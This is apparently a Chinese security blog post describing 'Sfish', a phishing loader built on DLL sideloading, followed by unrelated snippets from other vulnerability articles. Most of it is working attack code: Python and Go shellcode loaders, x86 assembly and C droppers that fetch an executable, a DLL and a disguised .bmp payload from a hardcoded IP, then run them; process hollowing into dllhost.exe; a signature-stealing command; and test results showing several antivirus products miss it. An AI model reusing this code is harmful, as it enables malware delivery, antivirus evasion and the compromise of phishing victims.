实战 | Sfish 基于白加黑钓鱼加载器利用工具

VSole2023-04-03 10:10:17

前言

之前hvv的时候有条件钓鱼的情况下也没有想着去尝试,一方面是免杀的工作没准备好。

一方面是如何钓好鱼,发现这些都需要提前花大量的时间先去准备好,所以这篇写了shellcode白加黑加载器工具方便钓鱼之后一系列的权限维持和上线的操作

追求更好的免杀效果可以参考重写beacon相关的文章

参考文章:https://www.cnblogs.com/zpchcbd/p/15947246.html 如何编写shellcode

2022.11.15:花了几天写了这个,但是发现对于钓鱼的话效果其实还是不行,所以这篇就单纯记录下了,白加黑的方式还是更适合做权限维持,这篇笔记仅供大家参考

0X00    思维导图

0X01    启动

为了更好的起到免杀和适配环境原因,所以启动的四步操作均通过汇编来进行实现,之后各个语言只需要通过shellcode加载器进行加载这段shellcode即可

python shellcode loader

import ctypesimport sys
shellcode = bytes.fromhex(sys.argv[1].strip())
shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode防止位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

golang shellcode loader

func loader2(sc []byte)   {//  获取当前进程的句柄  pHandle, _ := syscall.GetCurrentProcess()  Protect := windows.PAGE_EXECUTE_READWRITE// 为shellcode分配足够大小的内存  addr, _, _ := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(sc)), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)// 将shellcode写入内存当中  WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))//修改进程的保护属性为可读写可执行  VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&Protect)))//创建线程执行shellcode  x,_, _ := CreateRemoteThread.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)    for{
    }}

信域

为了更好的规避杀毒的流量分析,自己把相关的后续操作全部都放在相对域名信任度高的地方,所以这里存储的东西我都放在了公开存储服务器上

上线

  • 为了让目标上线,自己会先把恶意文件下载到目标机器上进行执行,而下载这种行为相对杀毒来说是比较敏感的,所以我尽量采取杀毒监控不严格的API,所以我这里通过系统dll中的下载API来进行
  • 为了更好的在目标上线之后进行恶意操作,所以我把在本地上线的时候是CreateProcess通过白加黑的方式进行的上线

签名

参考地址:https://github.com/secretsquirrel/SigThief

python sigthief.py -i dbgview.exe -t loader.exe -o loader_a.exe

维持(未实现)

  • 为了让权限在PC机器上更好的维持,同样权限维持的操作也是在白加黑的方式下进行,我这里采取的是通过COM接口编写的计划任务进行权限维持
  • 权限维持的时候,还需要考虑当前的权限是做好高权限的权限维持还是低权限的权限维持

0X02    代码实现

汇编版本

asm_loader.asm


.386.model flat,stdcall.stack 4096
.codeassume fs:nothingmain proc  xor ecx, ecx  mov eax, fs:[ecx + 30h]  nop  mov eax, [eax + 0ch]  nop  mov esi, [eax + 14h]  nop  lodsd  nop  xchg eax, esi  nop  lodsd  nop  mov ebx, [eax + 10h]  nop  mov edx, [ebx + 3ch]  add edx, ebx  nop  mov edx, [edx + 78h]  nop  add edx, ebx  nop  mov esi, [edx + 20h]  nop  add esi, ebx  nop  xor ecx, ecx
get_function:  inc ecx                                      ; Increment the ordinal  lodsd                                        ; Get name offset  add eax, ebx                                 ; Get function name  cmp dword ptr[eax], 50746547h               ; GetP  jnz get_function                  ;  cmp dword ptr[eax + 4h], 41636f72h           ; rocA  jnz get_function                  ;  cmp dword ptr[eax + 8h], 65726464h           ; ddre  jnz get_function                  ;  mov esi, [edx + 24h]                        ; ESI = Offset ordinals  add esi, ebx                                 ; ESI = Ordinals table  mov cx, [esi + ecx * 2]                      ; Number of function  dec ecx                        ;  mov esi, [edx + 1ch]                        ; Offset address table  add esi, ebx                                 ; ESI = Address table  mov edx, [esi + ecx * 4]                     ; EDX = Pointer(offset)  add edx, ebx                                 ; EDX = GetProcAddress
  xor ecx, ecx          ; ECX = 0  push ebx            ; Kernel32 base address  push edx            ; GetProcAddress  push ecx            ; 0  push 41797261h          ; aryA  nop  push 7262694ch          ; Libr  nop  push 64616f4ch          ; Load  push esp            ; "LoadLibrary"  push ebx            ; Kernel32 base address  call edx            ; GetProcAddress(LL)
  add esp, 0ch          ; pop "LoadLibrary"  pop ecx              ; ECX = 0
  ; 获取inseng.dll模块  push eax    ; EAX = LoadLibrary  push ecx  push 6c6ch    ; ll  nop  push 642e676eh  ; ng.d  nop  push 65736e69h  ; inse  push esp    ; "inseng.dll"  call eax    ; LoadLibrary("inseng.dll")
  add esp, 0ch  ; Clean stack  pop ecx      ;
  mov edx, [esp + 4h]  ; EDX = GetProcAddress  push edx
  ; GetProcAddress(DownloadFile) 导出函数  xor ecx, ecx      ; ECX = 0  push ecx  push 656C6946h      ; eilF  nop  push 64616F6Ch      ; daol  nop  push 6E776F44h      ; nwoD  nop  push esp; "DownloadFile"  push eax; kernel32.dll address  call edx; GetProcAddress(DownloadFile)
  add esp, 0ch; Cleanup stack  pop ecx;  push eax; save DownloadFile function
  ; DownloadFile("http://xxxx/test.exe", "C:\\ProgramData\\test.exe", 1);
  xor ecx,ecx  xor ebx,ebx  ; http://xxxx/test.exe  push 65h      ; e  nop  push 78652E66h ; xe.f  nop  push 64507573h ; dPus  nop  push 694A2F33h ; iJ/3  nop  push 36312E37h ; 61.7  nop  push 30312E33h ; 01.3  nop  push 34312E33h ; 41.3  nop  push 342F2F3Ah ; 4//:  nop  push 70747468h ; ptth
  ; C:\ProgramData\test.exe  push 6578h  nop  push 652e6664h  nop  push 50757369h  nop  push 4A5C6174h  nop  push 61646D61h  nop  push 72676F72h  nop  push 705c3a43h  push 1  lea ecx, [esp + 4h]  push ecx  lea ecx, [esp + 24h]  push ecx  call eax
  add esp, 38h    ; Cleanup stack  mov eax, [esp+4h]  ;
  ; DownloadFile("http://xxx/sqlite3.dll", "C:\\ProgramData\\sqlite3.dll", 1);  xor ecx,ecx  xor ebx,ebx
  ; http://xxx/sqlite3.dll  push 6Ch     ; l  nop  push 6C642E33h ; ld.3  nop  push 6574696Ch ; etil  nop  push 71732F33h ; qs/3  nop  push 36312E37h ; 61.7  nop  push 30312E33h ; 01.3  nop  push 34312E33h ; 41.3  nop  push 342F2F3Ah ; 4//:  nop  push 70747468h ; ptth
  ; C:\ProgramData\sqlite3.dll  push 6C6Ch     ; ll  nop  push 642E3365h ; d.3e  nop  push 74696C71h ; tilq  nop  push 735C6174h ; s/at  nop  push 61646D61h ; adma  nop  push 72676F72h ; rgor  nop  push 705c3a43h ; P/:c  push 1  lea ecx, [esp + 4h]  push ecx  lea ecx, [esp + 24h]  push ecx  mov eax, [esp + 4ch]  call eax
  add esp, 38h; Cleanup stack  mov eax, [esp+4h];  xor ecx, ecx
  ; DownloadFile("http://xxx/g.bmp", "C:\\ProgramData\\g.bmp", 1);  xor ecx,ecx  xor ebx,ebx
  ; http://xxx/g.bmp  push 706d62h ; pmb  nop  push 2e672F33h ; .g/3  nop  push 36312E37h ; 61.7  nop  push 30312E33h ; 01.3  nop  push 34312E33h ; 41.3  nop  push 342F2F3Ah ; 4//:  nop  push 70747468h ; ptth
  ; C:\ProgramData\gg.bmp  push 70h  nop  push 6d622e67h  nop  push 675C6174h  nop  push 61646D61h  nop  push 72676F72h  nop  push 705c3a43h  push 1  lea ecx, [esp + 4h]  push ecx  lea ecx, [esp + 20h]  push ecx  mov eax, [esp + 40h]  call eax
  add esp, 34h; Cleanup stack  xor ecx, ecx
  ;get WinExec to exec pdf.exe from kernel32.dll
  mov eax, [esp]          ; EAX = LoadLibrary  push ecx  push 6c6c642eh          ; .dll  nop  push 32336c65h          ; el32  nop  push 6e72656bh          ; kern  push esp            ; "kernel32.dll"  call eax            ; LoadLibrary("kernel32.dll")
  add esp, 0ch          ; Clean stack  pop ecx              ;
  mov edx, [esp + 4h]        ; EDX = GetProcAddress  push edx            ;  xor ecx, ecx          ; ECX = 0  push ecx            ;
  mov ecx, 61636578h  push ecx            ; xeca  sub dword ptr[esp + 3h], 61h  ; Remove "a"  nop  push 456e6957h          ;  push esp            ; "WinExec"  push eax            ; kernel32.dll address  call edx            ; GetProcAddress(WinExec)
  add esp, 8h            ; Cleanup stack  pop ecx;
  xor ecx, ecx          ; ECX = 0  xor ebx, ebx  push ecx  push 6578h  nop  push 652e6664h  nop  push 50757369h  nop  push 4A5C6174h  nop  push 61646D61h  nop  push 72676F72h  nop  push 705c3a43h  mov ebx, esp  push 0ah  push ebx
  call eax            ; calc  add esp, 1ch          ; Clean stack  pop ecx;
  xor ecx,ecx  xor ebx,ebx  mov eax, dword ptr[esp+0ch]  mov edx, dword ptr[esp]  mov ecx, 61737365h        ; essa  push ecx  sub dword ptr[esp + 3h], 61h  ; Remove "a"  push 636f7250h          ; Proc  nop  push 74697845h          ; Exit  push esp            ; ExitProcess  push eax            ; kernel32.dll base address  call edx            ; GetProc(ExitProcess)  xor ecx, ecx          ; ECX = 0  push ecx            ; Return code = 0  call eax            ; ExitProcess
main endpend main

C语言版本

#include#include  #include "base64.h"
using namespace std;
typedef UINT(CALLBACK *t_DownloadFile)(LPCSTR, LPCSTR, int);
int WinMain(
  HINSTANCE hInstance,//应用程序的实例句柄
  HINSTANCE hPrevInstance,//上一个应用程序的句柄。在win32环境下,参数一般为null,不起作用
  LPSTR IpCmdline,//char*argv[]命令行的参数
  int nShowCmd//显示命令最大化最小化  ){  // C:\\Windows\\System32\\inseng.dll -> QzpcXFdpbmRvd3NcXFN5c3RlbTMyXFxpbnNlbmcuZGxs  HMODULE dll = LoadLibrary(base64_decode(string("QzpcXFdpbmRvd3NcXFN5c3RlbTMyXFxpbnNlbmcuZGxs")).c_str());
  // RG93bmxvYWRGaWxl -> DownloadFile  t_DownloadFile DownloadFile = (t_DownloadFile)GetProcAddress(dll, base64_decode(string("RG93bmxvYWRGaWxl")).c_str());
  // 1  DownloadFile(base64_decode(string("aHR0cDovLzQzLjE0My4xMDcuMTYzL0ppc3VQZGYuZXhl")).c_str(),    base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxKaXN1UGRmLmV4ZQ==")).c_str(), 1);
  // 2  DownloadFile(base64_decode(string("aHR0cDovLzQzLjE0My4xMDcuMTYzL3NxbGl0ZTMuZGxs")).c_str(),    base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxzcWxpdGUzLmRsbA==")).c_str(), 1);
  // 3  DownloadFile(base64_decode(string("aHR0cDovLzQzLjE0My4xMDcuMTYzL2cuYm1w")).c_str(),    base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxnZy5ibXA=")).c_str(), 1);
  // 4  CloseHandle(dll);
  PROCESS_INFORMATION ProcessInformation;  STARTUPINFOA StartupInfo;  memset(&StartupInfo, 0, sizeof(StartupInfo));  StartupInfo.cb = 68;
  // C:\\ProgramData\\test.exe -> QzpcXFByb2dyYW1EYXRhXFxKaXN1UGRmLmV4ZQ==  CreateProcess(0, (LPSTR)base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxKaXN1UGRmLmV4ZQ==")).c_str(), 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &StartupInfo, &ProcessInformation);
  //WinExec("C:\\ProgramData\\test.exe", CREATE_NO_WINDOW);  TerminateProcess(GetCurrentProcess(), 0);  return 0;}

DLL部分

    FILE* fp;                  // 定义流式文件操作变量fp,FILE结构体在stdio.h里面有定义    size_t size;                // 定义文件字节数变量size    unsigned char* buffer;            // 定义缓存指针变量    fp = fopen("C:\\ProgramData\\gg.bmp", "rb");                          // fseek()负号前移,正号后移    fseek(fp, 0, SEEK_END);            // 文件指针指向文件末尾                          // ftell()返回给定流 stream 的当前文件位置    size = ftell(fp);              // size值为文件大小    fseek(fp, 0, SEEK_SET);            // 文件指针指向文件开头    buffer = (unsigned char*)malloc(size);    // 动态申请图片大小的内存空间(数组指针)    fread(buffer, size, 1, fp);          // 从fp读取和显示1个size大小的数据    CloseHandle(fp);
    char* v7A = (char*)VirtualAlloc(0, size, 0x3000u, 0x40u);    memcpy((void*)v7A, buffer, size);
    struct _PROCESS_INFORMATION ProcessInformation;    struct _STARTUPINFOA StartupInfo;    void* lp_addr;    CONTEXT Context;    DWORD DwWrite = 0;    memset(&StartupInfo, 0, sizeof(StartupInfo));    StartupInfo.cb = 68;    BOOL result = CreateProcessA(0, (LPSTR)"dllhost.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);    if (result)    {      Context.ContextFlags = 65539;      GetThreadContext(ProcessInformation.hThread, &Context);      lp_addr = VirtualAllocEx(ProcessInformation.hProcess, 0, size, MEM_COMMIT, PAGE_READWRITE);      WriteProcessMemory(ProcessInformation.hProcess, lp_addr, v7A, size, &DwWrite);      Context.Eip = (DWORD)v24;      SetThreadContext(ProcessInformation.hThread, &Context);      ResumeThread(ProcessInformation.hThread);      CloseHandle(ProcessInformation.hThread);      result = CloseHandle(ProcessInformation.hProcess);    }    TerminateProcess(GetCurrentProcess(), 0);

0X03    杀软测试





火绒个人版

无二开msf生成的shellcode未拦截上线

360安全卫士(非核晶状态)

无二开msf生成的shellcode未拦截上线

defender

无二开msf生成的shellcode未拦截上线

麦咖啡

无二开msf生成的shellcode被拦截

esi
本作品采用《CC 协议》,转载必须注明作者和本文链接
可在其中找受影响的版本复现,在受影响版本的系统中找到win32k.sys导入IDA。漏洞函数位于win32k.sys的SetImeInfoEx()函数,该函数在使用一个内核对象的字段之前并没有进行是否为空的判断,当该值为空时,函数直接读取零地址内存。如果在当前进程环境中没有映射零页面,该函数将触发页面错误异常,导致系统蓝屏发生。tagWINDOWSTATIONspklList对象的结构为:漏洞触发验证查看SSDT表dd KeServiceDescriptorTabledds Address L11C 显示地址里面值指向的地址. 以4个字节显示。
关于堆栈ShellCode操作:基础理论002-利用fs寄存器寻找当前程序dll的入口:从动态运行的程序中定位所需dll003-寻找大兵LoadLibraryA:从定位到的dll中寻找所需函数地址004-被截断的shellCode:加解密,解决shellCode的零字截断问题
该漏洞发生的位置是在驱动文件Win32k.sys中的xxxHandleMenuMessage函数,产生的原因是没有对该函数中调用的xxxMNFindWindowFromPoint函数的返回值进行合法性验证,直接将其作为参数传递给后面的xxxSendMessage函数调用,从而造成了提权漏洞。
在学习漏洞的时候,按照0Day2书中第24章第1节的内容进行学习的,这章本来是远程拒绝服务的漏洞(CVE-2009-3103),但是当我在网上搜索这个漏洞的EXP时,意外的发现了Srv2.sys模块中的另一个漏洞(CVE-2009-2532),而这个漏洞竟然可以实现远程任意代码执行,诶,这我就不困了,然后顺手两个漏洞一起分析了,把Srv2.sys模块对数据包的接收处理过程逆向了一遍,了解了其中的漏
前言这篇博文描述了我提交给 ZDI 的两个 Adobe Reader 释放后使用漏洞:一个来自 2021 年 6 月的补丁 (?关于这两个bug的一个有趣方面是它们是相关的——第一个错误是通过模糊测试发现的,第二个错误是通过逆向工程发现的,它绕过第一个错误的补丁。
这次分析了CVE-2012-3569 ovftool.exe中的格式化字符串漏洞。之前使用示例程序详细分析过应该怎样利用格式化字符串漏洞(参考资料2),而针对该漏洞,《漏洞战争》中并没有进行详细分析,因此我几乎是从头到尾按照自己的思路独立完成了这个漏洞的分析以及利用,其中漏洞利用部分又占据了比较大的篇幅,因此对于格式化字符串漏洞在实际中的利用方式有了更深刻的了解。
漏洞分析 CVE-2010-0249
2023-11-25 17:50:17
漏洞分析 CVE-2010-0249
关于堆喷堆喷射(Heap Spraying)是一种计算机安全攻击技术,它旨在在进程的堆中创建多个包含恶意负载的内存块。这种技术允许攻击者避免需要知道负载确切的内存地址,因为通过广泛地“喷射”堆,攻击者可以提高恶意负载被成功执行的机会。
这似乎又是一个0 day漏洞,这个漏洞与pif文件有关,是我在研究pif文件的时候发现的。
WeChatAppEx.exe 版本:2.0.6609.4以融智云考学生端为例。网上已经有关于微信小程序解密的非常优秀的文章,本着学习的目的便不参考相关内容。笔者水平实在有限,如发现纰漏,还请读者不吝赐教。拓展的,我们分别观察RSI与RDI指向的内存区域。事实上,这一部分解密过程与微信图片解密相同。目的是用int8类型的值a3填满rbp至8个字节,进行8个字节分组异或。至此,尾部部分解密告一段落。
VSole
网络安全专家